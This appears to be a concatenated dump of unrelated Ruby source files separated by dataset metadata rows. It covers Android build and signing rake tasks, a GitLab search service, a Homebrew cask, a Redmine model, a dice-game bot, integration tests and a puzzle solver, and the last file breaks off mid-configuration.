args << simple_apkfile
args << final_apkfile
out = Jake.run2($zipalign, args, :hide_output => true)
puts out if USE_TRACES
unless $?.success?
puts "Error running zipalign"
exit 1
end
#remove temporary files
rm_rf simple_apkfile
File.open(File.join(File.dirname(final_apkfile), "app_info.txt"), "w") do |f|
f.puts $app_package_name
end
end
task :install => :debug do
apkfile = $targetdir + "/" + $appname + "-debug.apk"
Jake.run $adb, ['-d', 'wait-for-device']
puts "Install APK file"
Jake.run($adb, ["-d", "install", "-r", apkfile])
unless $?.success?
raise "Error installing APK file"
end
puts "Install complete"
end
desc "Build production signed for device"
task :production => "package:android" do
dexfile = $bindir + "/classes.dex"
simple_apkfile = $targetdir + "/" + $appname + "_tmp.apk"
final_apkfile = $targetdir + "/" + $appname + "_signed.apk"
signed_apkfile = $targetdir + "/" + $appname + "_tmp_signed.apk"
resourcepkg = $bindir + "/rhodes.ap_"
apk_build $androidsdkpath, simple_apkfile, resourcepkg, dexfile, false
if not File.exists? $keystore
puts "Generating private keystore..."
mkdir_p File.dirname($keystore) unless File.directory? File.dirname($keystore)
args = []
args << "-genkey"
args << "-alias"
args << $storealias
args << "-keyalg"
args << "RSA"
args << "-validity"
args << "20000"
args << "-keystore"
args << $keystore
args << "-storepass"
args << $storepass
args << "-keypass"
args << $keypass
Jake.run($keytool, args)
unless $?.success?
puts "Error generating keystore file"
exit 1
end
end
puts "Signing APK file"
args = []
args << "-sigalg"
args << "MD5withRSA"
args << "-digestalg"
args << "SHA1"
args << "-verbose"
args << "-keystore"
args << $keystore
args << "-storepass"
args << $storepass
args << "-signedjar"
args << signed_apkfile
args << simple_apkfile
args << $storealias
Jake.run($jarsigner, args)
unless $?.success?
puts "Error running jarsigner"
exit 1
end
puts "Align APK file"
args = []
args << "-f"
args << "-v"
args << "4"
args << '"' + signed_apkfile + '"'
args << '"' + final_apkfile + '"'
Jake.run($zipalign, args)
unless $?.success?
puts "Error running zipalign"
exit 1
end
#remove temporary files
rm_rf simple_apkfile
rm_rf signed_apkfile
File.open(File.join(File.dirname(final_apkfile), "app_info.txt"), "w") do |f|
f.puts $app_package_name
end
end
#task :getlog => "config:android" do
# AndroidTools.get_app_log($appname, true) or exit 1
#end
end
end
#namespace "emulator" do
# namespace "android" do
# task :getlog => "config:android" do
# AndroidTools.get_app_log($appname, false) or exit 1
# end
# end
#end
def run_as_spec(device_flag)
Rake::Task["device:android:debug"].invoke
if device_flag == '-e'
Rake::Task["config:android:emulator"].invoke
else
Rake::Task["config:android:device"].invoke
end
log_name = $app_path + '/RhoLogSpec.txt'
File.delete(log_name) if File.exist?(log_name)
AndroidTools.logclear(device_flag)
AndroidTools.run_emulator(:hidden => true) if device_flag == '-e'
do_uninstall(device_flag)
# Failsafe to prevent eternal hangs
Thread.new {
sleep 2000
if device_flag == '-e'
AndroidTools.kill_adb_and_emulator
else
AndroidTools.kill_adb_logcat device_flag, log_name
end
}
apkfile = File.expand_path(File.join $targetdir, $appname + "-debug.apk")
AndroidTools.load_app_and_run(device_flag, apkfile, $app_package_name)
AndroidTools.logcat(device_flag, log_name)
Jake.before_run_spec
start = Time.now
puts "Waiting for application ..."
for i in 0..60
if AndroidTools.application_running(device_flag, $app_package_name)
break
else
sleep(1)
end
end
puts "Waiting for log file: #{log_name}"
for i in 0..120
if !File.exist?(log_name)
sleep(1)
else
break
end
end
if !File.exist?(log_name)
puts "Can not read log file: " + log_name
exit(1)
end
puts "Start reading log ..."
io = File.new(log_name, 'r:UTF-8')
end_spec = false
while !end_spec do
io.each do |line|
if line.class.method_defined? "valid_encoding?"
end_spec = !Jake.process_spec_output(line) if line.valid_encoding?
else
end_spec = !Jake.process_spec_output(line)
end
break if end_spec
end
break unless AndroidTools.application_running(device_flag, $app_package_name)
sleep(5) unless end_spec
end
io.close
puts "Processing spec results ..."
Jake.process_spec_results(start)
# stop app
do_uninstall(device_flag)
if device_flag == '-e'
AndroidTools.kill_adb_and_emulator
else
AndroidTools.kill_adb_logcat(device_flag, log_name)
end
$stdout.flush
end
namespace "run" do
namespace "android" do
namespace "emulator" do
task :spec do
Jake.decorate_spec {run_as_spec '-e'}
end
end
namespace "device" do
task :spec do
Jake.decorate_spec {run_as_spec '-d'}
end
end
task :spec => "run:android:emulator:spec" do
end
task :get_log => "config:android" do
puts "log_file=" + $applog_path
end
task :emulator => ['config:android:emulator', 'device:android:debug'] do
AndroidTools.kill_adb_logcat('-e')
AndroidTools.run_emulator
apkfile = File.expand_path(File.join $targetdir, $appname + "-debug.apk")
AndroidTools.load_app_and_run('-e', apkfile, $app_package_name)
AndroidTools.logcat_process('-e')
end
desc "Run application on RhoSimulator"
task :rhosimulator => ["config:set_android_platform", "config:common"] do
$emuversion = $app_config["android"]["version"] unless $app_config["android"].nil?
$emuversion = $config["android"]["version"] if $emuversion.nil? and !$config["android"].nil?
$rhosim_config = "platform='android'\r\n"
$rhosim_config += "os_version='#{$emuversion}'\r\n" if $emuversion
Rake::Task["run:rhosimulator"].invoke
end
task :rhosimulator_debug => ["config:set_android_platform", "config:common"] do
$emuversion = $app_config["android"]["version"] unless $app_config["android"].nil?
$emuversion = $config["android"]["version"] if $emuversion.nil? and !$config["android"].nil?
$rhosim_config = "platform='android'\r\n"
$rhosim_config += "os_version='#{$emuversion}'\r\n" if $emuversion
Rake::Task["run:rhosimulator_debug"].invoke
end
desc "build and install on device"
task :device => "device:android:debug" do
AndroidTools.kill_adb_logcat('-d')
apkfile = File.join $targetdir, $appname + "-debug.apk"
AndroidTools.load_app_and_run('-d', apkfile, $app_package_name)
AndroidTools.logcat_process('-d')
end
end
desc "build and launch emulator"
task :android => "run:android:emulator" do
end
end
namespace "uninstall" do
def do_uninstall(flag)
args = []
args << flag
args << "uninstall"
args << $app_package_name
for i in 0..20
result = Jake.run($adb, args)
unless $?.success?
puts "Error uninstalling application"
exit 1
end
if result.include?("Success")
puts "Application uninstalled successfully"
break
else
if result.include?("Failure")
puts "Application is not installed on the device"
break
else
puts "Error uninstalling application"
exit 1 if i == 20
end
end
sleep(5)
end
end
namespace "android" do
task :emulator => "config:android" do
unless AndroidTools.is_emulator_running
puts "WARNING!!! Emulator is not up and running"
exit 1
end
do_uninstall('-e')
end
desc "uninstall from device"
task :device => "config:android" do
unless AndroidTools.is_device_running
puts "WARNING!!! Device is not connected"
exit 1
end
do_uninstall('-d')
end
end
desc "uninstall from emulator"
task :android => "uninstall:android:emulator" do
end
end
namespace "clean" do
desc "Clean Android"
task :android => ["clean:android:all", "clean:common"]
namespace "android" do
task :files => "config:android" do
rm_rf $targetdir
rm_rf $app_builddir
Dir.glob(File.join($bindir, "*.*")) { |f| rm f, :force => true }
rm_rf $srcdir
rm_rf $tmpdir
end
task :all => :files
end
end
namespace :stop do
namespace :android do
task :emulator do
AndroidTools.kill_adb_and_emulator
end
end
end
| 35.737885 | 183 | 0.60922 |
e904cb6c6fcceccf68dc249b7ff25c77c42d8fc0 | 502 | module Search
class GlobalService
attr_accessor :current_user, :params
def initialize(user, params)
@current_user, @params = user, params.dup
end
def execute
group = Group.find_by(id: params[:group_id]) if params[:group_id].present?
projects = ProjectsFinder.new.execute(current_user)
projects = projects.in_namespace(group.id) if group
project_ids = projects.pluck(:id)
Gitlab::SearchResults.new(project_ids, params[:search])
end
end
end
| 26.421053 | 80 | 0.697211 |
013cb8006d4f6e2812e7d9a54eb560ff5855779f | 306 | cask "patchwork" do
version "3.18.1"
sha256 "2436dc487afb45264e81c5b1d65cb4acc7ec8d772ce2af2132122f86ca6d887c"
url "https://github.com/ssbc/patchwork/releases/download/v#{version}/Patchwork-#{version}.dmg"
name "Patchwork"
homepage "https://github.com/ssbc/patchwork"
app "Patchwork.app"
end
| 27.818182 | 96 | 0.767974 |
d525e2dfdc437b07ca93c3c05bd058d30225fd2d | 2,601 | # Redmine - project management software
# Copyright (C) 2006-2014 Jean-Philippe Lang
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
class WorkflowPermission < WorkflowRule
validates_inclusion_of :rule, :in => %w(readonly required)
validate :validate_field_name
# Returns the workflow permissions for the given trackers and roles
# grouped by status_id
#
# Example:
# WorkflowPermission.rules_by_status_id trackers, roles
# # => {1 => {'start_date' => 'required', 'due_date' => 'readonly'}}
def self.rules_by_status_id(trackers, roles)
WorkflowPermission.where(:tracker_id => trackers.map(&:id), :role_id => roles.map(&:id)).inject({}) do |h, w|
h[w.old_status_id] ||= {}
h[w.old_status_id][w.field_name] ||= []
h[w.old_status_id][w.field_name] << w.rule
h
end
end
# Replaces the workflow permissions for the given trackers and roles
#
# Example:
# WorkflowPermission.replace_permissions trackers, roles, {'1' => {'start_date' => 'required', 'due_date' => 'readonly'}}
def self.replace_permissions(trackers, roles, permissions)
trackers = Array.wrap trackers
roles = Array.wrap roles
transaction do
permissions.each { |status_id, rule_by_field|
rule_by_field.each { |field, rule|
destroy_all(:tracker_id => trackers.map(&:id), :role_id => roles.map(&:id), :old_status_id => status_id, :field_name => field)
if rule.present?
trackers.each do |tracker|
roles.each do |role|
WorkflowPermission.create(:role_id => role.id, :tracker_id => tracker.id, :old_status_id => status_id, :field_name => field, :rule => rule)
end
end
end
}
}
end
end
protected
def validate_field_name
unless Tracker::CORE_FIELDS_ALL.include?(field_name) || field_name.to_s.match(/^\d+$/)
errors.add :field_name, :invalid
end
end
end
| 37.695652 | 155 | 0.682045 |
b97df99bb38e1336bd05d974ce9f323c49f14916 | 1,127 | # Copyright 2015 Nordstrom, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
RSpec.describe 'chef_vault_try_notify::default' do
let(:chef_run) { ChefSpec::SoloRunner.new.converge(described_recipe) }
it 'converges successfully' do
expect(chef_run).to include_recipe(described_recipe)
end
it 'include the chef-vault recipe' do
expect(chef_run).to include_recipe('chef-vault::default')
end
it 'adds the vault_available? helper to recipes' do
recipe = Chef::Recipe.new(
'chef_vault_try_notify', 'default', chef_run.run_context
)
expect(recipe).to respond_to(:vault_available?)
end
end
| 34.151515 | 74 | 0.748891 |
1cd4ecb303734735f9bb8688ef07211357b0a3b7 | 3,031 | # frozen_string_literal: true
require "bcdice/dice_table/table"
require "bcdice/dice_table/d66_grid_table"
require "bcdice/arithmetic"
module BCDice
module GameSystem
class AngelGear < Base
# ゲームシステムの識別子
ID = 'AngelGear'
# ゲームシステム名
NAME = 'エンゼルギア 天使大戦TRPG The 2nd Editon'
# ゲームシステム名の読みがな
SORT_KEY = 'えんせるきあ2'
# ダイスボットの使い方
HELP_MESSAGE = <<~MESSAGETEXT
・判定 nAG[s][±a]
[]内は省略可能。
n:判定値
s:技能値
a:修正
(例)
12AG 10AG3±20
・感情表 ET
MESSAGETEXT
def initialize(command)
super(command)
@sort_barabara_dice = true # バラバラロール(Bコマンド)でソート有
end
def eval_game_system_specific_command(command)
if (m = /^(\d+)AG(\d+)?(([+\-]\d+)*)$/.match(command))
resolute_action(m[1].to_i, m[2]&.to_i, m[3], command)
else
roll_tables(command, TABLES)
end
end
def resolute_action(num_dice, skill_value, modify, command)
dice = @randomizer.roll_barabara(num_dice, 6).sort
dice_text = dice.join(",")
modify_n = 0
success = 0
if skill_value
success = dice.count { |val| val <= skill_value }
modify_n = Arithmetic.eval(modify, RoundType::FLOOR) unless modify.empty?
end
gospel = '(福音発生)' if success + modify_n >= 100
output = "(#{command}) > #{success}[#{dice_text}]#{format('%+d', modify_n)} > 成功数: #{success + modify_n}#{gospel}"
if success + modify_n >= 100
Result.critical(output)
elsif 0 < success + modify_n
Result.success(output)
else
Result.failure(output)
end
end
TABLES = {
'ET' => DiceTable::D66GridTable.new(
'感情表',
[
[
'好奇心(好奇心)',
'憧れ(あこがれ)',
'尊敬(そんけい)',
'仲間意識(なかまいしき)',
'母性愛(ぼせいあい)',
'感心(かんしん)'
],
[
'純愛(じゅんあい)',
'友情(ゆうじょう)',
'同情(どうじょう)',
'父性愛(ふせいあい)',
'幸福感(こうふくかん)',
'信頼(しんらい)'
],
[
'競争心(きょうそうしん)',
'親近感(しんきんかん)',
'まごころ',
'好意(こうい)',
'有為(ゆうい)',
'崇拝(すうはい)'
],
[
'大嫌い(だいきらい)',
'妬み(ねたみ)',
'侮蔑(ぶべつ)',
'腐れ縁(くされえん)',
'恐怖(きょうふ)',
'劣等感(れっとうかん)'
],
[
'偏愛(へんあい)',
'寂しさ(さびしさ)',
'憐憫(れんびん)',
'闘争心(とうそうしん)',
'食傷(しょくしょう)',
'嘘つき(うそつき)'
],
[
'甘え(あまえ)',
'苛立ち(いらだち)',
'下心(したごころ)',
'憎悪(ぞうお)',
'疑惑(ぎわく)',
'支配(しはい)'
],
]
)
}.freeze
register_prefix('\d+AG', TABLES.keys)
end
end
end
| 23.496124 | 122 | 0.428571 |
5d2e5e05717d4d662f6fc32091adbf814750aa04 | 467 | # frozen_string_literal: true
begin
require "pry-byebug"
rescue LoadError
end
ENV["RAILS_ENV"] = "test"
require "rubanok"
Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].sort.each { |f| require f }
RSpec.configure do |config|
config.mock_with :rspec
config.example_status_persistence_file_path = "tmp/rspec_examples.txt"
config.filter_run :focus
config.run_all_when_everything_filtered = true
config.order = :random
Kernel.srand config.seed
end
| 19.458333 | 76 | 0.749465 |
2876000b938086b88b946f9b6594b67e16bd8148 | 521 | #---
# Excerpted from "Rails 4 Test Prescriptions",
# published by The Pragmatic Bookshelf.
# Copyrights apply to this code. It may not be used to create training material,
# courses, books, articles, and the like. Contact us if you are in doubt.
# We make no guarantees that this code is fit for any purpose.
# Visit http://www.pragmaticprogrammer.com/titles/nrtest2 for more book information.
#---
class AddOrderToTasks < ActiveRecord::Migration
def change
add_column :tasks, :project_order, :integer
end
end
| 37.214286 | 84 | 0.754319 |
03d8a43fce771badb0ec6ad00bc848e9189e6e23 | 324 | class DummyAuctionable < ActiveRecord::Base
include AlleApi::Auctionable
attr_accessible :category_id, :title, :weight
def title_for_auction
"#{title} for auction"
end
def category_id_for_auction
666
end
def image_1_contents
File.read(Rails.root.join 'spec/support/fixtures/1x1.jpg')
end
end
| 18 | 62 | 0.740741 |
6a21b5b27550d66ff112606646dfe6309baeca46 | 1,819 | def get_coordinates(token)
return token.split(',').map(&:to_i)
end
def get_instruction(line)
tokens = line.split
instruction = nil
coordinates = [nil,nil],[nil,nil]
if line =~ /^turn/
instruction = tokens[1]
coordinates[0] = get_coordinates tokens[2]
coordinates[1] = get_coordinates tokens[4]
elsif line =~ /^toggle/
instruction = 'toggle'
coordinates[0] = get_coordinates tokens[1]
coordinates[1] = get_coordinates tokens[3]
end
return instruction,coordinates
end
def toggle(light)
!light
end
def turn(on, light)
on
end
def turn_int(value, light)
[0, light + value].max
end
def bind_functor(f, closure)
return lambda { |x|
f.call(closure, x)
}
end
def santa(type, lights, instruction, coordinates)
start = coordinates[0]
ends = coordinates[1]
xx = [start[0], ends[0]].sort
yy = [start[1], ends[1]].sort
function = nil
if type == 1
function = bind_functor(method(:turn), instruction == 'on')
function = method(:toggle) if instruction == 'toggle'
else
closure = 2
closure = 1 if instruction == 'on'
closure = -1 if instruction == 'off'
function = bind_functor(method(:turn_int), closure)
end
lights[xx[0]..xx[1]].each { |row|
row.map!.with_index { |x,i| ( (yy[0]..yy[1]).include?(i) ? function.call(x) : x ) }
}
end
MAX = 1000
lights1 = Array.new(MAX) {Array.new(MAX,false)}
lights2 = Array.new(MAX) {Array.new(MAX,0)}
STDIN.each_line do |line|
instruction,coordinates = get_instruction line
santa(1, lights1, instruction, coordinates)
santa(2, lights2, instruction, coordinates)
end
puts (lights1.map { |row| row.count true }).reduce(:+)
puts (lights2.map { |row| row.reduce(:+) }).reduce(:+)
| 26.362319 | 91 | 0.623419 |
4adabc1e5c10ef23fb1e8c6097b7c477281eb3fc | 553 | class Tasks::Mutations::Create < Lib::Mutations::WithUserAuthentication
graphql_name 'createTask'
description 'Create new task'
argument :project_id, ID, required: true
argument :name, String, required: true
field :task, Lib::Objects::Task, null: true
field :errors, [Lib::Objects::Error], null: false
def resolve(**args)
result = run ::Tasks::Create, args
if result.success?
{ task: result[:model], errors: [] }
else
{ errors: Lib::Service::ErrorsConverter.call(result['contract.default']) }
end
end
end
| 26.333333 | 80 | 0.679928 |
7a09b3cb97e431bd972868aad3b39d15b60f4d55 | 7,309 | require 'test_helper'
class CruddlerIntegrationTest < ActionDispatch::IntegrationTest
test "Basic CRUD" do
# INDEX
visit '/houses'
assert page.has_content?('No Houses')
# CREATE
click_link 'Create'
assert_equal '/houses/new', current_path
fill_in 'house_name', with: "First House"
fill_in 'house_number', with: '1'
click_button 'Create House'
# INDEX, again
assert_equal '/houses', current_path
assert page.has_content?('First House')
assert !page.has_content?('No Houses')
# SHOW
click_link 'Show'
assert page.has_content?('First House')
click_link 'Abort'
assert_equal '/houses', current_path
# EDIT
click_link 'Edit'
#assert page.has_content?('FancyGallery')
fill_in 'house_name', with: "Another House"
click_button 'Update House'
# INDEX, again
assert_equal '/houses', current_path
assert !page.has_content?('First House')
assert page.has_content?('Another House')
# DESTROY
click_link "Destroy"
assert_equal '/houses', current_path
assert page.has_content?('No Houses')
end
test "Nested has_many CRUD" do
house = House.create!(name: 'Cat House', number: 666)
# INDEX
visit "/houses/#{house.id}/cats"
assert page.has_content?('No Cats')
# CREATE
click_link 'Create'
assert_equal "/houses/#{house.id}/cats/new", current_path
fill_in 'cat_name', with: "Sheldon"
click_button 'Create Cat'
# INDEX, again
assert_equal "/houses/#{house.id}/cats", current_path
assert page.has_content?('Cat House')
assert page.has_content?('Sheldon')
# SHOW
click_link 'Show'
assert_equal "/houses/#{house.id}/cats/#{house.cats.first.id}", current_path
assert page.has_content?('Sheldon')
assert page.has_content?('Cat House')
click_link 'Abort'
assert_equal "/houses/#{house.id}/cats", current_path
# EDIT
click_link 'Edit'
assert_equal "/houses/#{house.id}/cats/#{house.cats.first.id}/edit", current_path
fill_in 'cat_name', with: "Lennard"
click_button 'Update Cat'
# INDEX, again
assert !page.has_content?('Sheldon')
assert page.has_content?('Lennard')
# DESTROY
click_link "Destroy"
assert_equal "/houses/#{house.id}/cats", current_path
assert page.has_content?('No Cats')
%w{Moritz Klara Finka Willi}.each do |nam|
visit "/houses/#{house.id}/cats"
# CREATE
click_link 'Create'
assert_equal "/houses/#{house.id}/cats/new", current_path
fill_in 'cat_name', with: nam
click_button 'Create Cat'
# INDEX, again
assert_equal "/houses/#{house.id}/cats", current_path
assert page.has_content?('Cat House')
assert page.has_content?(nam)
end
house.cats.each do |cat|
visit "/houses/#{house.id}/cats/#{cat.id}/edit"
fill_in 'cat_name', with: "Moo#{cat.name}"
click_button 'Update Cat'
assert_equal "/houses/#{house.id}/cats", current_path
assert page.has_content?("Moo#{cat.name}")
end
end
test "Nested polymorphic has_many CRUD" do
house = House.create!(name: 'Dog House', number: 666)
# INDEX
visit "/houses/#{house.id}/dogs"
assert page.has_content?('No Dogs')
# CREATE
click_link 'Create'
assert_equal "/houses/#{house.id}/dogs/new", current_path
fill_in 'dog_name', with: "Waldi"
click_button 'Create Dog'
# INDEX, again
assert_equal "/houses/#{house.id}/dogs", current_path
assert page.has_content?('Dog House')
assert page.has_content?('Waldi')
# SHOW
click_link 'Show'
assert_equal "/houses/#{house.id}/dogs/#{house.dogs.first.id}", current_path
assert page.has_content?('Waldi')
assert page.has_content?('Dog House')
click_link 'Abort'
assert_equal "/houses/#{house.id}/edit", current_path
# EDIT
visit "/houses/#{house.id}/dogs"
click_link 'Edit'
assert_equal "/houses/#{house.id}/dogs/#{house.dogs.first.id}/edit", current_path
fill_in 'dog_name', with: "Fifi"
click_button 'Update Dog'
# INDEX, again
assert !page.has_content?('Waldi')
assert page.has_content?('Fifi')
# DESTROY
click_link "Destroy"
assert_equal "/houses/#{house.id}/dogs", current_path
assert page.has_content?('No Dogs')
%w{Wau Bello Hasso Brain}.each do |nam|
visit "/houses/#{house.id}/dogs"
# CREATE
click_link 'Create'
assert_equal "/houses/#{house.id}/dogs/new", current_path
fill_in 'dog_name', with: nam
click_button 'Create Dog'
# INDEX, again
assert_equal "/houses/#{house.id}/dogs", current_path
assert page.has_content?('Dog House')
assert page.has_content?(nam)
end
house.dogs.each do |dog|
visit "/houses/#{house.id}/dogs/#{dog.id}/edit"
fill_in 'dog_name', with: "Moo#{dog.name}"
click_button 'Update Dog'
assert_equal "/houses/#{house.id}/dogs", current_path
assert page.has_content?("Moo#{dog.name}")
end
# save_and_open_page
end
test "Double Nested has_many CRUD" do
house = House.create!(name: 'Cat House', number: 666)
cat = Cat.new(name: 'Mouw')
cat.house = house
cat.save!
prefix = "/houses/#{house.id}/cats/#{cat.id}"
# INDEX
visit "#{prefix}/parasites"
assert page.has_content?('No Parasites')
# CREATE
click_link 'Create'
assert_equal "#{prefix}/parasites/new", current_path
fill_in 'parasite_name', with: "Sucker"
click_button 'Create Parasite'
# INDEX, again
assert_equal "#{prefix}/parasites", current_path
assert page.has_content?('Cat House')
assert page.has_content?('Mouw')
assert page.has_content?('Sucker')
# SHOW
click_link 'Show'
assert_equal "#{prefix}/parasites/#{cat.parasites.first.id}", current_path
assert page.has_content?('Sucker')
assert page.has_content?('Mouw')
assert page.has_content?('Cat House')
click_link 'Abort'
assert_equal "#{prefix}/parasites", current_path
# EDIT
click_link 'Edit'
assert_equal "#{prefix}/parasites/#{cat.parasites.first.id}/edit", current_path
fill_in 'parasite_name', with: "Vampire"
click_button 'Update Parasite'
# INDEX, again
assert !page.has_content?('Sucker')
assert page.has_content?('Vampire')
# DESTROY
click_link "Destroy"
assert_equal "#{prefix}/parasites", current_path
assert page.has_content?('No Parasites')
%w{Moritz Klara Finka Willi}.each do |nam|
visit "#{prefix}/parasites"
# CREATE
click_link 'Create'
assert_equal "#{prefix}/parasites/new", current_path
fill_in 'parasite_name', with: nam
click_button 'Create Parasite'
# INDEX, again
assert_equal "#{prefix}/parasites", current_path
assert page.has_content?('Cat House')
assert page.has_content?(nam)
end
cat.parasites.each.with_index do |parasite, i|
visit "#{prefix}/parasites/#{parasite.id}/edit"
fill_in 'parasite_name', with: "Moo#{parasite.name}"
fill_in 'parasite_legs', with: 3*i+1
click_button 'Update Parasite'
assert_equal "#{prefix}/parasites", current_path
assert page.has_content?("Moo#{parasite.name}")
assert page.has_content?("#{3*i+1}")
end
end
end
| 28.775591 | 85 | 0.65563 |
879dc90e1d082ceb86f41c3bbc05cc8195540041 | 241 | class Religion < ActiveRecord::Base
extend FriendlyId
friendly_id :name, use: :slugged
has_many :events
# Validations
#
validates :name,
presence: true,
uniqueness: true
def to_s
name
end
end
| 14.176471 | 35 | 0.626556 |
f7c0c7812009714ac1cb71b40aeeb8ee1a8e8705 | 466 | module Versus
class Region < Model
attr_accessor :adjective, :natural_feature, :associated_historical_figure_name
has_many :towns
has_many :people, through: :towns
belongs_to :continent
def name
if adjective && associated_historical_figure_name
"the #{adjective.capitalize} #{natural_feature.capitalize} of #{associated_historical_figure_name}"
else
"the #{natural_feature.capitalize}"
end
end
end
end
| 25.888889 | 107 | 0.714592 |
18165ec7106f7a68c344d36898b90b9833836e79 | 2,254 | class DurationsController < ApplicationController
# before_action :set_duration, only: [:show, :update, :destroy]
# GET /durations
# GET /durations.json
def index
get_user
if !@user
render_not_found
elsif !has_access?
forbidden
else
render_duration
end
end
def render_duration
@date = params[:date]
if !@date
render_missing_date
return
end
begin
date = Date.parse(@date)
rescue ArgumentError => error
render_invalid_date
return
end
dayStart = date.to_time.to_i
dayEnd = (date + 1).to_time.to_i
@durations = Duration.where('user_id = ? AND time >= ? AND time < ?', @user.id, dayStart, dayEnd)
times = @durations.map {|d| d.created_at}
# render json: @durations
render json: {
data: @durations.map {|d|
{
project: d.project,
time: d.time,
duration: d.duration
}},
branches: @durations.map {|d| d.branch},
start: times.first,
end: times.last}
end
# GET /durations/1
# GET /durations/1.json
def show
render json: @duration
end
# POST /durations
# POST /durations.json
def create
@duration = Duration.new(duration_params)
if @duration.save
render json: @duration, status: :created, location: @duration
else
render json: @duration.errors, status: :unprocessable_entity
end
end
# PATCH/PUT /durations/1
# PATCH/PUT /durations/1.json
def update
@duration = Duration.find(params[:id])
if @duration.update(duration_params)
head :no_content
else
render json: @duration.errors, status: :unprocessable_entity
end
end
# DELETE /durations/1
# DELETE /durations/1.json
def destroy
@duration.destroy
head :no_content
end
private
def set_duration
@duration = Duration.find(params[:id])
end
def duration_params
params.require(:duration).permit(:user_id, :project, :time, :duration, :branch)
end
def render_missing_date
render json: {error: "Missing date."}
end
def render_invalid_date
render json: {error: "Invalid date."}
end
end
| 20.678899 | 101 | 0.611358 |
39de1d8a70c9ab8180f06432d766837afde88610 | 1,079 | #
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html.
# Run `pod lib lint flutter_branch_sdk.podspec' to validate before publishing.
#
Pod::Spec.new do |s|
s.name = 'flutter_branch_sdk'
s.version = '1.3.2'
s.summary = 'Flutter Plugin for Brach Metrics SDK - https://branch.io'
s.description = <<-DESC
Flutter Plugin for Brach Metrics SDK - https://branch.io
DESC
s.homepage = 'https://github.com/RodrigoSMarques/flutter_branch_sdk'
s.license = { :file => '../LICENSE' }
s.author = { 'Rodrigo S. Marques' => '[email protected]' }
s.source = { :path => '.' }
s.source_files = 'Classes/**/*'
s.dependency 'Flutter'
s.dependency 'Branch', '~> 1.39.0'
s.platform = :ios, '9.0'
# Flutter.framework does not contain a i386 slice. Only x86_64 simulators are supported.
s.pod_target_xcconfig = { 'DEFINES_MODULE' => 'YES', 'VALID_ARCHS[sdk=iphonesimulator*]' => 'x86_64' }
s.swift_version = '5.0'
end
| 43.16 | 104 | 0.622799 |
1aee2ca5c64ada52d32e652fb0f60c323a0e51e1 | 3,493 | # frozen_string_literal: true
ActionView::Helpers::FormBuilder.class_eval do
def error_message(method, tag: :div, ref_method: nil, escape: true, **options, &block)
return if object.errors.empty?
error = object.errors[method]&.first
error ||= object.errors[ref_method]&.first if ref_method
return unless error
if block_given?
@template.content_tag(tag, options, nil, escape, &block)
else
@template.content_tag(tag, error, options, escape)
end
end
[:text_field, :password_field, :file_field, :text_area,
:color_field, :search_field, :telephone_field,
:phone_field, :date_field, :time_field, :datetime_field,
:datetime_local_field, :month_field, :week_field, :url_field,
:email_field, :number_field, :range_field].each do |selector|
alias_method :"_#{selector}", selector unless instance_methods(false).include?(:"_#{selector}")
class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
def #{selector}(method, **options)
_#{selector} method, normalize_html_options(method, **options)
end
RUBY_EVAL
end
alias_method :_check_box, :check_box unless instance_methods(false).include?(:_check_box)
def check_box(method, options = {}, checked_value = '1', unchecked_value = '0')
_check_box method, normalize_html_options(method, **options), checked_value, unchecked_value
end
alias_method :_radio_button, :radio_button unless instance_methods(false).include?(:_radio_button)
def radio_button(method, tag_value, options = {})
_radio_button method, tag_value, normalize_html_options(method, **options)
end
alias_method :_select, :select unless instance_methods(false).include?(:_select)
def select(method, choices = nil, options = {}, html_options = {}, &block)
_select method, choices, options, normalize_html_options(method, **html_options), &block
end
alias_method :_collection_select, :collection_select unless instance_methods(false).include?(:_collection_select)
def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
_collection_select method, collection, value_method, text_method, options, normalize_html_options(method, **html_options)
end
alias_method :_grouped_collection_select, :grouped_collection_select unless instance_methods(false).include?(:_grouped_collection_select)
def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
_grouped_collection_select method, collection, group_method, group_label_method, option_key_method, option_value_method, options, normalize_html_options(method, **html_options)
end
alias_method :_time_zone_select, :time_zone_select unless instance_methods(false).include?(:_time_zone_select)
def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
_time_zone_select method, priority_zones, options, normalize_html_options(method, **html_options)
end
# TODO: collection_check_boxes, collection_radio_buttons
private
def normalize_html_options(method, class_for_error: nil, ref_method: nil, **options)
if @object&.errors&.any? && class_for_error.present?
errors = @object.errors
if errors.include?(method) || (ref_method.present? && errors.include?(ref_method.to_sym))
return options.merge class: [options[:class], class_for_error].join(' ')
end
end
options
end
end
| 45.960526 | 180 | 0.749785 |
61d6ff19e58e88cdda94bf538743fdffd15ccde4 | 534 | require 'yaml'
require 'ostruct'
module PHPBB3_BB2MD
# Parse yaml config
class Config
attr_reader :hash
def initialize(conf)
path = File.expand_path(File.dirname(__FILE__)) + '/../../config/'
file = path + conf + '.yml'
raise 'no such config' unless File.exist?(file)
@hash = to_struct(YAML.safe_load(open(file,'r:UTF-8').read))
end
private
def to_struct(hash)
hash.each do |k, v|
s = OpenStruct.new
v.each do |k, v|
s[k] = v
end
hash[k] = s
end
end
end
end
| 19.071429 | 72 | 0.606742 |
e85fbd29854a7b461913b3589517d1722bf6b45b | 546 | # frozen_string_literal: true
require 'rails_helper'
RSpec.configure do |config|
config.swagger_root = Rails.root.join('swagger').to_s
config.swagger_docs = {
'v1/swagger.yaml' => {
openapi: '3.0.1',
info: {
title: 'API V1',
version: 'v1'
},
paths: {},
